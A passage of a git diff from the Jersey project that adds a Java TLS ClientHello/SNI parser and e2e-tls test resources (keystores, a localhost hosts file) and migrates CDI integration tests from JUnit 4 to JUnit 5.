{ // ignore other extensions + ignoreByteVector(input, extLen); + } + + length -= extLen + 4; + } + + return Collections.emptyList(); + } + + /* + * struct { + * NameType name_type; + * select (name_type) { + * case host_name: HostName; + * } name; + * } ServerName; + * + * enum { + * host_name(0), (255) + * } NameType; + * + * opaque HostName<1..2^16-1>; + * + * struct { + * ServerName server_name_list<1..2^16-1> + * } ServerNameList; + */ + private static List exploreSNIExt(ByteBuffer input, + int extLen) throws IOException { + + Map sniMap = new LinkedHashMap<>(); + + int remains = extLen; + if (extLen >= 2) { // "server_name" extension in ClientHello + int listLen = getInt16(input); // length of server_name_list + if (listLen == 0 || listLen + 2 != extLen) { + throw new SSLProtocolException( + "Invalid server name indication extension"); + } + + remains -= 2; // 0x02: the length field of server_name_list + while (remains > 0) { + int code = getInt8(input); // name_type + int snLen = getInt16(input); // length field of server name + if (snLen > remains) { + throw new SSLProtocolException( + "Not enough data to fill declared vector size"); + } + byte[] encoded = new byte[snLen]; + input.get(encoded); + + SNIServerName serverName; + switch (code) { + case StandardConstants.SNI_HOST_NAME: + if (encoded.length == 0) { + throw new SSLProtocolException( + "Empty HostName in server name indication"); + } + serverName = new SNIHostName(encoded); + break; + default: + serverName = new UnknownServerName(code, encoded); + } + // check for duplicated server name type + if (sniMap.put(serverName.getType(), serverName) != null) { + throw new SSLProtocolException("Duplicated server name of type " + serverName.getType()); + } + + remains -= encoded.length + 3; // NameType: 1 byte + // HostName length: 2 bytes + } + } else if (extLen == 0) { // "server_name" extension in ServerHello + throw new SSLProtocolException( + "Not server name indication extension in client"); + } + + if (remains != 0) { + throw new SSLProtocolException( + "Invalid server name indication extension"); + } + + return Collections.unmodifiableList( + new ArrayList<>(sniMap.values())); + } + + private static int getInt8(ByteBuffer input) { + return input.get(); + } + + private static int getInt16(ByteBuffer input) { + return ((input.get() & 0xFF) << 8) | (input.get() & 0xFF); + } + + private static int getInt24(ByteBuffer input) { + return ((input.get() & 0xFF) << 16) | ((input.get() & 0xFF) << 8) | (input.get() & 0xFF); + } + + private static void ignoreByteVector8(ByteBuffer input) { + ignoreByteVector(input, getInt8(input)); + } + + private static void ignoreByteVector16(ByteBuffer input) { + ignoreByteVector(input, getInt16(input)); + } + + private static void ignoreByteVector24(ByteBuffer input) { + ignoreByteVector(input, getInt24(input)); + } + + private static void ignoreByteVector(ByteBuffer input, int length) { + if (length != 0) { + int position = input.position(); + input.position(position + length); + } + } + + private static class UnknownServerName extends SNIServerName { + UnknownServerName(int code, byte[] encoded) { + super(code, encoded); + } + } + + private static final class SSLCapabilitiesImpl extends SSLCapabilities { + private static final Map versionMap = new HashMap<>(5); + + private final String recordVersion; + private final String helloVersion; + List sniNames; + + static { + versionMap.put(0x0002, "SSLv2Hello"); + versionMap.put(0x0300, "SSLv3"); + versionMap.put(0x0301, "TLSv1"); + versionMap.put(0x0302, "TLSv1.1"); + versionMap.put(0x0303, "TLSv1.2"); + } + + SSLCapabilitiesImpl(byte recordMajorVersion, byte recordMinorVersion, + byte helloMajorVersion, byte helloMinorVersion, + List sniNames) { + + int version = (recordMajorVersion << 8) | recordMinorVersion; + this.recordVersion = versionMap.get(version) != null + ? versionMap.get(version) + : unknownVersion(recordMajorVersion, recordMinorVersion); + + version = (helloMajorVersion << 8) | helloMinorVersion; + this.helloVersion = versionMap.get(version) != null + ? versionMap.get(version) + : unknownVersion(helloMajorVersion, helloMinorVersion); + + this.sniNames = sniNames; + } + + @Override + public String getRecordVersion() { + return recordVersion; + } + + @Override + public String getHelloVersion() { + return helloVersion; + } + + @Override + public List getServerNames() { + if (!sniNames.isEmpty()) { + return Collections.unmodifiableList(sniNames); + } + + return sniNames; + } + + private static String unknownVersion(byte major, byte minor) { + return "Unknown-" + ((int) major) + "." + ((int) minor); + } + } +} + diff --git a/tests/e2e-tls/src/test/resources/client-truststore.jks b/tests/e2e-tls/src/test/resources/client-truststore.jks new file mode 100644 index 00000000000..539185fda40 Binary files /dev/null and b/tests/e2e-tls/src/test/resources/client-truststore.jks differ diff --git a/tests/e2e-tls/src/test/resources/hosts b/tests/e2e-tls/src/test/resources/hosts new file mode 100644 index 00000000000..438ebb64afa --- /dev/null +++ b/tests/e2e-tls/src/test/resources/hosts @@ -0,0 +1,19 @@ +# +# Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. +# +# This program and the accompanying materials are made available under the +# terms of the Eclipse Public License v. 2.0, which is available at +# http://www.eclipse.org/legal/epl-2.0. +# +# This Source Code may also be made available under the following Secondary +# Licenses when the conditions for such availability set forth in the +# Eclipse Public License v. 2.0 are satisfied: GNU General Public License, +# version 2 with the GNU Classpath Exception, which is available at +# https://www.gnu.org/software/classpath/license.html. +# +# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + +127.0.0.1 www.host0.com +127.0.0.1 www.host1.com +127.0.0.1 www.host2.com +127.0.0.1 www.host3.com \ No newline at end of file diff --git a/tests/e2e-tls/src/test/resources/server-identity.jks b/tests/e2e-tls/src/test/resources/server-identity.jks new file mode 100644 index 00000000000..76a21aaedd2 Binary files /dev/null and b/tests/e2e-tls/src/test/resources/server-identity.jks differ diff --git a/tests/e2e/pom.xml b/tests/e2e/pom.xml index 85d2e40663b..2871c030359 100644 --- a/tests/e2e/pom.xml +++ b/tests/e2e/pom.xml @@ -1,7 +1,7 @@ - + + diff --git a/tests/integration/cdi-integration/cdi-test-webapp/src/main/webapp/WEB-INF/beans.xml b/tests/integration/cdi-integration/cdi-test-webapp/src/main/webapp/WEB-INF/beans.xml index 14ea61ec342..8d3e4b2f532 100644 --- a/tests/integration/cdi-integration/cdi-test-webapp/src/main/webapp/WEB-INF/beans.xml +++ b/tests/integration/cdi-integration/cdi-test-webapp/src/main/webapp/WEB-INF/beans.xml @@ -1,7 +1,7 @@ - + + diff --git a/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/CdiComponentProviderTest.java b/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/CdiComponentProviderTest.java new file mode 100644 index 00000000000..8fdd9bed584 --- /dev/null +++ b/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/CdiComponentProviderTest.java @@ -0,0 +1,88 @@ +/* + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.tests.cdi.resources; + +import org.glassfish.jersey.ext.cdi1x.internal.CdiComponentProvider; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.jboss.weld.environment.se.Weld; +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; + +import jakarta.enterprise.inject.Vetoed; +import jakarta.enterprise.inject.spi.BeanManager; +import jakarta.enterprise.inject.spi.CDI; +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.core.Application; +import java.util.Collections; + +import static org.junit.jupiter.api.Assertions.assertFalse; + +public class CdiComponentProviderTest extends JerseyTest { + Weld weld; + + @BeforeEach + @Override + public void setUp() throws Exception { + weld = new Weld(); + weld.initialize(); + super.setUp(); + } + + @AfterEach + @Override + public void tearDown() throws Exception { + weld.shutdown(); + super.tearDown(); + } + + @Override + protected Application configure() { + return new ResourceConfig(); + } + + @Test + public void testVetoedClassIsNotBound() { + BeanManager beanManager = CDI.current().getBeanManager(); + CdiComponentProvider provider = beanManager.getExtension(CdiComponentProvider.class); + assertFalse(provider.bind(VetoedResourceClass.class, Collections.singleton(Path.class))); + } + + @Test + public void testInterfaceIsNotBound() { + BeanManager beanManager = CDI.current().getBeanManager(); + CdiComponentProvider provider = beanManager.getExtension(CdiComponentProvider.class); + assertFalse(provider.bind(InterfaceResource.class, Collections.singleton(Path.class))); + } + + @Path("/vetoed") + @Vetoed + public static class VetoedResourceClass { + @GET + public String get() { + return null; + } + } + + @Path("/iface") + public static interface InterfaceResource { + @GET + public String get(); + } +} diff --git a/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/CdiTest.java b/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/CdiTest.java index 485d49ed453..d4523ad2010 100644 --- a/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/CdiTest.java +++ b/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/CdiTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -24,6 +24,8 @@ import org.glassfish.jersey.test.JerseyTest; import org.jboss.weld.environment.se.Weld; +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.BeforeEach; /** * Test for CDI web application resources. @@ -39,6 +41,7 @@ public class CdiTest extends JerseyTest { Weld weld; + @BeforeEach @Override public void setUp() throws Exception { weld = new Weld(); @@ -46,6 +49,7 @@ public void setUp() throws Exception { super.setUp(); } + @AfterEach @Override public void tearDown() throws Exception { weld.shutdown(); diff --git a/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/ConstructorInjectionTest.java b/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/ConstructorInjectionTest.java index 7e46592391a..fe0edde06d9 100644 --- a/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/ConstructorInjectionTest.java +++ b/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/ConstructorInjectionTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2014, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -19,8 +19,8 @@ import jakarta.ws.rs.client.WebTarget; import jakarta.ws.rs.core.Response; import static org.hamcrest.CoreMatchers.is; -import static org.junit.Assert.assertThat; -import org.junit.Test; +import static org.hamcrest.MatcherAssert.assertThat; +import org.junit.jupiter.api.Test; /** * Part of JERSEY-2526 reproducer. Without the fix, the application would diff --git a/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/CounterTest.java b/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/CounterTest.java index 524f335de5b..392d6390f30 100644 --- a/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/CounterTest.java +++ b/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/CounterTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2014, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -18,10 +18,10 @@ import jakarta.ws.rs.client.WebTarget; import jakarta.ws.rs.core.Response; -import org.junit.Test; +import org.junit.jupiter.api.Test; -import static org.junit.Assert.assertThat; -import static org.junit.Assert.assertTrue; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertTrue; import static org.hamcrest.CoreMatchers.is; /** @@ -45,6 +45,6 @@ public void testGet() { assertThat(secondResponse.getStatus(), is(200)); int secondNumber = Integer.decode(secondResponse.readEntity(String.class)); - assertTrue("Second request should have greater number!", secondNumber > firstNumber); + assertTrue(secondNumber > firstNumber, "Second request should have greater number!"); } } diff --git a/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/JaxRsInjectedCdiBeanTest.java b/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/JaxRsInjectedCdiBeanTest.java index c772ad3663f..b00475c33d9 100644 --- a/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/JaxRsInjectedCdiBeanTest.java +++ b/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/JaxRsInjectedCdiBeanTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2015, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2015, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -19,11 +19,11 @@ import jakarta.ws.rs.client.WebTarget; import jakarta.ws.rs.core.Response; -import org.junit.Test; +import org.junit.jupiter.api.Test; import static org.hamcrest.CoreMatchers.is; -import static org.junit.Assert.assertThat; -import static org.junit.Assert.assertTrue; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertTrue; /** * Test that a raw CDI managed bean gets JAX-RS injected. diff --git a/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/NonJaxRsBeanJaxRsInjectionTest.java b/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/NonJaxRsBeanJaxRsInjectionTest.java index 6c33cd3ed12..3d577f46c86 100644 --- a/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/NonJaxRsBeanJaxRsInjectionTest.java +++ b/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/NonJaxRsBeanJaxRsInjectionTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2015, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2015, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -34,12 +34,11 @@ import org.glassfish.grizzly.http.server.HttpHandler; import org.glassfish.grizzly.http.server.HttpServer; -import org.hamcrest.CoreMatchers; import org.jboss.weld.environment.se.Weld; -import org.junit.After; -import org.junit.Assume; -import org.junit.Before; -import org.junit.Test; +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.Assumptions; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; /** * Test two Jersey apps running simultaneously within a single Grizzly HTTP server @@ -70,9 +69,9 @@ public class NonJaxRsBeanJaxRsInjectionTest { Client client; WebTarget mainTarget, secondaryTarget; - @Before + @BeforeEach public void before() throws IOException { - Assume.assumeTrue(Hk2InjectionManagerFactory.isImmediateStrategy()); + Assumptions.assumeTrue(Hk2InjectionManagerFactory.isImmediateStrategy()); if (isDefaultTestContainerFactorySet) { initializeWeld(); @@ -81,7 +80,7 @@ public void before() throws IOException { } } - @After + @AfterEach public void after() { if (Hk2InjectionManagerFactory.isImmediateStrategy()) { if (isDefaultTestContainerFactorySet) { @@ -94,7 +93,7 @@ public void after() { @Test public void testPathAndHeader() throws Exception { - Assume.assumeThat(isDefaultTestContainerFactorySet, CoreMatchers.is(true)); + Assumptions.assumeTrue(isDefaultTestContainerFactorySet); JaxRsInjectedCdiBeanTest._testPathAndHeader(mainTarget); SecondJaxRsInjectedCdiBeanTest._testPathAndHeader(secondaryTarget); } diff --git a/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/PerRequestBeanTest.java b/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/PerRequestBeanTest.java index 6fb1456a84f..6865a666284 100644 --- a/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/PerRequestBeanTest.java +++ b/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/PerRequestBeanTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * Copyright (c) 2019 Payara Foundation and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the @@ -17,20 +17,18 @@ package org.glassfish.jersey.tests.cdi.resources; -import java.util.Arrays; import java.util.List; +import java.util.stream.Stream; import jakarta.ws.rs.client.WebTarget; import jakarta.ws.rs.core.Response; -import org.hamcrest.CoreMatchers; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.Parameterized; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.MethodSource; import static org.hamcrest.CoreMatchers.containsString; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertNotNull; -import static org.junit.Assert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.hamcrest.MatcherAssert.assertThat; /** * Test for the request scoped resource. @@ -38,32 +36,15 @@ * @author Jakub Podlesak * @author Patrik Dudits */ -@RunWith(Parameterized.class) public class PerRequestBeanTest extends CdiTest { - @Parameterized.Parameters - public static List testData() { - return Arrays.asList(new Object[][] { - {"alpha"}, - {"AAA"}, - {"$%^"}, - {"a b"} - }); + public static Stream testData() { + return Stream.of("alpha", "AAA", "$%^", "a b"); } - final String x; - - /** - * Create x new test case based on the above defined parameters. - * - * @param x query parameter value - */ - public PerRequestBeanTest(String x) { - this.x = x; - } - - @Test - public void testGet() { + @ParameterizedTest + @MethodSource("testData") + public void testGet(String x) { final WebTarget target = target().path("jcdibean/per-request").queryParam("x", x); @@ -73,8 +54,9 @@ public void testGet() { assertThat(s, containsString(String.format("queryParam=%s", x))); } - @Test - public void testSingleResponseFilterInvocation() { + @ParameterizedTest + @MethodSource("testData") + public void testSingleResponseFilterInvocation(String x) { final WebTarget target = target().path("jcdibean/per-request").queryParam("x", x); @@ -82,8 +64,8 @@ public void testSingleResponseFilterInvocation() { List invocationIds = response.getHeaders().get("Filter-Invoked"); - assertNotNull("Filter-Invoked header should be set by ResponseFilter", invocationIds); - assertEquals("ResponseFilter should be invoked only once", 1, invocationIds.size()); + assertNotNull(invocationIds, "Filter-Invoked header should be set by ResponseFilter"); + assertEquals(1, invocationIds.size(), "ResponseFilter should be invoked only once"); } } diff --git a/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/PerRequestDependentBeanTest.java b/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/PerRequestDependentBeanTest.java index 70c1568219d..4954859cedd 100644 --- a/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/PerRequestDependentBeanTest.java +++ b/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/PerRequestDependentBeanTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,48 +16,29 @@ package org.glassfish.jersey.tests.cdi.resources; -import java.util.Arrays; -import java.util.List; +import java.util.stream.Stream; import jakarta.ws.rs.client.WebTarget; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.Parameterized; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.MethodSource; import static org.hamcrest.CoreMatchers.containsString; -import static org.junit.Assert.assertThat; +import static org.hamcrest.MatcherAssert.assertThat; /** * Test for the request scoped managed bean resource. * * @author Jakub Podlesak */ -@RunWith(Parameterized.class) public class PerRequestDependentBeanTest extends CdiTest { - @Parameterized.Parameters - public static List testData() { - return Arrays.asList(new Object[][] { - {"alpha"}, - {"AAA"}, - {"$%^"}, - {"a b"} - }); + public static Stream testData() { + return Stream.of("alpha", "AAA", "$%^", "a b"); } - final String x; - - /** - * Create x new test case based on the above defined parameters. - * - * @param x query parameter value - */ - public PerRequestDependentBeanTest(String x) { - this.x = x; - } - - @Test - public void testGet() { + @ParameterizedTest + @MethodSource("testData") + public void testGet(String x) { final WebTarget target = target().path("jcdibean/dependent/per-request").queryParam("x", x); diff --git a/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/ProducerTest.java b/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/ProducerTest.java index 4b2dc3b4398..ed9dc7e041f 100644 --- a/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/ProducerTest.java +++ b/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/ProducerTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2014, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -18,9 +18,9 @@ import jakarta.ws.rs.client.WebTarget; import jakarta.ws.rs.core.Response; -import org.junit.Test; +import org.junit.jupiter.api.Test; -import static org.junit.Assert.assertThat; +import static org.hamcrest.MatcherAssert.assertThat; import static org.hamcrest.CoreMatchers.is; /** diff --git a/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/QualifiedInjectionSetGetTest.java b/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/QualifiedInjectionSetGetTest.java index 030f721fb59..04570fbee4e 100644 --- a/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/QualifiedInjectionSetGetTest.java +++ b/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/QualifiedInjectionSetGetTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -19,9 +19,9 @@ import jakarta.inject.Qualifier; import jakarta.ws.rs.client.Entity; import jakarta.ws.rs.client.WebTarget; -import org.junit.Test; +import org.junit.jupiter.api.Test; -import static org.junit.Assert.assertThat; +import static org.hamcrest.MatcherAssert.assertThat; import static org.hamcrest.CoreMatchers.is; /** diff --git a/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/ReverseEchoTest.java b/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/ReverseEchoTest.java index ff44b6f33c0..4f576500f2c 100644 --- a/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/ReverseEchoTest.java +++ b/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/ReverseEchoTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,49 +16,34 @@ package org.glassfish.jersey.tests.cdi.resources; -import java.util.Arrays; -import java.util.List; +import java.util.stream.Stream; import jakarta.ws.rs.client.WebTarget; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.Parameterized; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; import static org.hamcrest.CoreMatchers.equalTo; -import static org.junit.Assert.assertThat; +import static org.hamcrest.MatcherAssert.assertThat; /** * Test for qualified injection. * * @author Jakub Podlesak */ -@RunWith(Parameterized.class) public class ReverseEchoTest extends CdiTest { - @Parameterized.Parameters - public static List testData() { - return Arrays.asList(new Object[][] { - {"alpha", "ahpla"}, - {"gogol", "logog"}, - {"elcaro", "oracle"} - }); + public static Stream testData() { + return Stream.of( + Arguments.of("alpha", "ahpla"), + Arguments.of("gogol", "logog"), + Arguments.of("elcaro", "oracle") + ); } - final String in, out; - - /** - * Construct instance with the above test data injected. - * - * @param in query parameter. - * @param out expected output. - */ - public ReverseEchoTest(String in, String out) { - this.in = in; - this.out = out; - } - - @Test - public void testGet() { + @ParameterizedTest + @MethodSource("testData") + public void testGet(String in, String out) { WebTarget reverseService = target().path("reverse").queryParam("s", in); String s = reverseService.request().get(String.class); assertThat(s, equalTo(out)); diff --git a/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/SecondJaxRsInjectedCdiBeanTest.java b/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/SecondJaxRsInjectedCdiBeanTest.java index 3bcc9b3b51d..7d33b41c1fe 100644 --- a/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/SecondJaxRsInjectedCdiBeanTest.java +++ b/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/SecondJaxRsInjectedCdiBeanTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2015, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2015, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -26,11 +26,12 @@ import org.glassfish.jersey.test.JerseyTest; import org.jboss.weld.environment.se.Weld; -import org.junit.Ignore; -import org.junit.Test; +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; import static org.hamcrest.CoreMatchers.is; -import static org.junit.Assert.assertThat; +import static org.hamcrest.MatcherAssert.assertThat; /** * Test that a raw CDI managed bean gets JAX-RS injected. @@ -40,6 +41,7 @@ public class SecondJaxRsInjectedCdiBeanTest extends JerseyTest { Weld weld; + @BeforeEach @Override public void setUp() throws Exception { weld = new Weld(); @@ -47,6 +49,7 @@ public void setUp() throws Exception { super.setUp(); } + @AfterEach @Override public void tearDown() throws Exception { weld.shutdown(); diff --git a/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/SingletonBeanTest.java b/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/SingletonBeanTest.java index d8d6e780e50..045d7427db1 100644 --- a/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/SingletonBeanTest.java +++ b/tests/integration/cdi-integration/cdi-test-webapp/src/test/java/org/glassfish/jersey/tests/cdi/resources/SingletonBeanTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,51 +16,36 @@ package org.glassfish.jersey.tests.cdi.resources; -import java.util.Arrays; -import java.util.List; +import java.util.stream.Stream; import jakarta.ws.rs.client.Entity; import jakarta.ws.rs.client.WebTarget; import org.glassfish.jersey.test.external.ExternalTestContainerFactory; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.Parameterized; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; import static org.hamcrest.CoreMatchers.containsString; -import static org.junit.Assert.assertThat; +import static org.hamcrest.MatcherAssert.assertThat; /** * Test for the application scoped resource. * * @author Jakub Podlesak */ -@RunWith(Parameterized.class) public class SingletonBeanTest extends CdiTest { - @Parameterized.Parameters - public static List testData() { - return Arrays.asList(new Object[][] { - {"alpha", "beta"}, - {"1", "2"} - }); + public static Stream testData() { + return Stream.of( + Arguments.of("alpha", "beta"), + Arguments.of("1", "2") + ); } - final String p, x; - - /** - * Construct instance with the above test data injected. - * - * @param p path parameter. - * @param x query parameter. - */ - public SingletonBeanTest(String p, String x) { - this.p = p; - this.x = x; - } - - @Test - public void testGet() { + @ParameterizedTest + @MethodSource("testData") + public void testGet(String p, String x) { final WebTarget singleton = target().path("jcdibean/singleton").path(p).queryParam("x", x); String s = singleton.request().get(String.class); assertThat(s, containsString(singleton.getUri().toString())); @@ -68,8 +53,9 @@ public void testGet() { assertThat(s, containsString(String.format("queryParam=%s", x))); } - @Test - public void testCounter() { + @ParameterizedTest + @MethodSource("testData") + public void testCounter(String p, String x) { final WebTarget counter = target().path("jcdibean/singleton").path(p).queryParam("x", x).path("counter"); @@ -92,8 +78,9 @@ public void testCounter() { counter.request().put(Entity.text("10")); } - @Test - public void testException() { + @ParameterizedTest + @MethodSource("testData") + public void testException(String p, String x) { final WebTarget exception = 